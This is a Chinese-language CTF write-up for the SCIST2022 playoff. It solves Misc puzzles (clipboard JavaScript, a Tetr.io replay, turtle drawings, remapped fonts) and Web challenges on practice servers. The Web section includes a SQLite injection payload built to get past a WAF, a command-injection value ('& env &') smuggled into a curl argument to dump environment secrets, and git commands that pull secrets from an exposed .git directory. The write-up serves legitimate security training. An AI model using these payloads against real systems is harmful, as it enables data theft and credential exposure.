SCIST2022季後賽 CTF Wirteup

Crypto


Caesar Cipher


WA其他沒有解出來 數學太難ㄌ

Misc破台


Check-In #Front-end #JavaScript #F12

//匿名函式
(() => {
    const FLAG = 'SCIST{Cl1pB0ard_AP1_Is_D4ng3r0Us}';
    function handler(e) {
        e.preventDefault();
        e.clipboardData.setData('text', FLAG);
    }
    document.addEventListener('copy', handler);
    $("#challenge-window").on("hide.bs.modal", e => document.removeEventListener('copy', handler));
})()

GameFile #TETR.io

  • 本人根本沒有了解直接爆破出flag,此ttr檔案是TETR.io遊戲回放檔案,可以回放看看
  • 使用Linux file command 分析後是JSON格式
  • 前面就看到了很像FLAG的東西,又看到part1很像base64
  • decode後得出 SCIST{0k_T3tr1o_1S_v 再加上 3RRY_FUNY_BUT_FKOSK}

Animal Walking

  • 題目寫Animal Walking,且寫very slow 應該知道是turtle
  • 上網搜尋了一下 Python 有個 Turtle烏龜繪圖模組
  • 檔案就是烏龜畫畫的指令,將化出來的東西填入FLAG提交即可
  • 處理畫畫指令
    • data1.py – 將指令改成Function格式
    • data2.py – 匯入turtle模組並將data1.py處裡的輸出運行
    • 得到圖片 HELLOTURTLE

Comforter #font

  • 偷偷更改字體顯示順序,網頁內容與看到的不一樣
  • 最暴力的方法就是看著打出來,再拿去做BASE64 Decode
  • 由static目錄下的css數字命名規則可測出 此題共有9關卡(沒有10.css)
  • 我則寫了個小工具
    • 下載所有被變更的FONT檔案 2.woff2~9.woff2
    • 使用python中的fonttools將glyphs轉出,可以看到被打亂了
    • data.py將全部轉出成xml格式
    • 101.py匯入每關字體glyphs,以session將題目自動抓近來,並以code欄位(ASCII HEX)轉譯到name 欄位

Web破台


Hello Admin #SQL-Injection #SQLite

題目網站

  • 在F12發現PHP原始碼 http://chal.scist.org:10103/?owo=meow

function waf($str) {
    return preg_match("/[;,]|(--)/", $str);
}

  • 使用SQLITE3當作資料庫,已知資料表結構,會將flag藏在flag欄位
  • insert是他寫的一個function
$path = "/tmp/db.sqlite3";
if (!file_exists($path))
    $initial = true;
$db = new SQLite3($path);

if (isset($initial)) {
    $flag = getenv("FLAG");
    assert($db->query("
        CREATE TABLE log (
            text varchar(255),
            flag int,
            time int
        )
    "));
    insert("meow",0);
    insert($flag,1);
    insert("meow",0);
} else {
}

  • 主程式部分
    • 接收表單的訊息
    • 使用WAF fucntion 檢查是否有符合,若有的話會中斷
    • 沒有中斷,則將訊息寫入SQL裡面
    • 寫入完成,會回傳SQL所撈出來的資料(每次都只能撈到新的
    • 此地方無法更改SQL語法,不是重點區
  • SQLite Syntax 知識點 (SELECT text from log order by time desc)
    • 翻譯 > 從log資料表中選出位於text欄位的資料,且欄位time符合最新的資料
    • desc 順序排序 最新的資料優先顯示(數字最大、字母最大)
    • asc 倒序排序 最舊的資料優先顯示(數字最小、字母最小)
SELECT column-list
FROM table_name 
[WHERE condition] 
[ORDER BY column1, column2, .. columnN] [ASC | DESC];
$url = "http://localhost";
if ($_SERVER["REQUEST_METHOD"] == "POST" && isset($_POST["msg"])) {
    $msg = $_POST["msg"];
    if (waf($msg)) die("Sorry h4cker.");
    insert($msg);
    $res = $db->querySingle("SELECT text from log order by time desc");
}
?>

<h1>Talk to admin.</h1>
<?php
if (isset($res))
    echo "Send '".PHP_EOL.$res.PHP_EOL."' to admin successful.".PHP_EOL;
?>
<form method="POST">
    <input name="msg" type="text">
    <input value="send" type="submit">
</form>
<a href="?owo=meow"></a>

  • insert function 接收兩個變數
  • hrtime() 取得現在時間
  • 進行插入SQL動作 INSERT INTO log (text,flag,time) VALUES (‘$s’,$f,$t)
  • 此處可以進行SQL injection 只要可以避免被waf偵測就行
    • 因為INSERT前面已經指定要插入三個值,無法直接結束INSERT並執行SELECT
    • 決定使用相加字串方式,SQLite Syntax || 來做相加,並且中間先塞一個 sqlite_version() 試看看
    • 有正常回傳,直接塞入 SQL 查詢函式,並指定flag欄位=1 (SELECT text from log where flag=1)
' || (SELECT text from log where flag=1) || '
/*變成這樣*/
INSERT INTO log (text,flag,time) VALUES ('' || (SELECT text from log where flag=1) || '',$f,$t)
function insert($s,$f = 0) {
    global $db;
    usleep(50);
    $t = hrtime(true);
    assert($db->query("INSERT INTO log (text,flag,time) VALUES ('$s',$f,$t)"));
}

hash-calculator #Command-Injection

  • 觀察到一開始就填入了 http://localhost
  • calc會回傳一串hash
  • 試著將 locahost改成 google.com 有變化
  • 推測是將網頁算成hash 試著在Linux Shell執行,發現一模一樣
  • 因可更改curl目標,推測可以Command Injection
    • 看到原始碼有 getenv(‘FLAG’),目標是拿到env
    • 夾帶env參數即可
原始CMD
curl https://google.com | sha1sum
注入Payload
http://localhost & env &
CMD變成
curl http://localhost & env & | sha1sum

What’s VCS? #GitVersionControlHack

  • 題目分析
    • VCS – Version Control System 版本控制系統
    • 可以回朔之前每次的變更
    • 可以看到以前的code,可能藏有我們需要的資訊
  • 實作
    • 還不確定可以先掃個目錄,發現有 .git 資料夾
    • 可以嘗試著把專案clone下來
    • git clone http://chal.scist.org:10101/.git
      • 成功clone下來,並看到index.php
    • git status
      • 檢查branch狀態,發現完好無缺
    • 分析index.php 發現少了 secret.php
    • 需要 $method 以及 $secret 來符合 REQUEST_METHOD 以及 json action裡的資料
    • git log
      • 發現有很多commit紀錄
    • git show <commit ID>
      • 就可以找到一開始作者將 兩個變數的值直接寫在index.php裡面
    • 關鍵Commit ID 分別是
      • db19ca1e156d52647f3e21c08faf35b1f8ec3c0c
      • de5286599b0996edc16b32c835d03aeac0dfd9fd


參考文獻

在〈SCIST2022季後賽 CTF Wirteup〉中有 1 則留言

發佈留言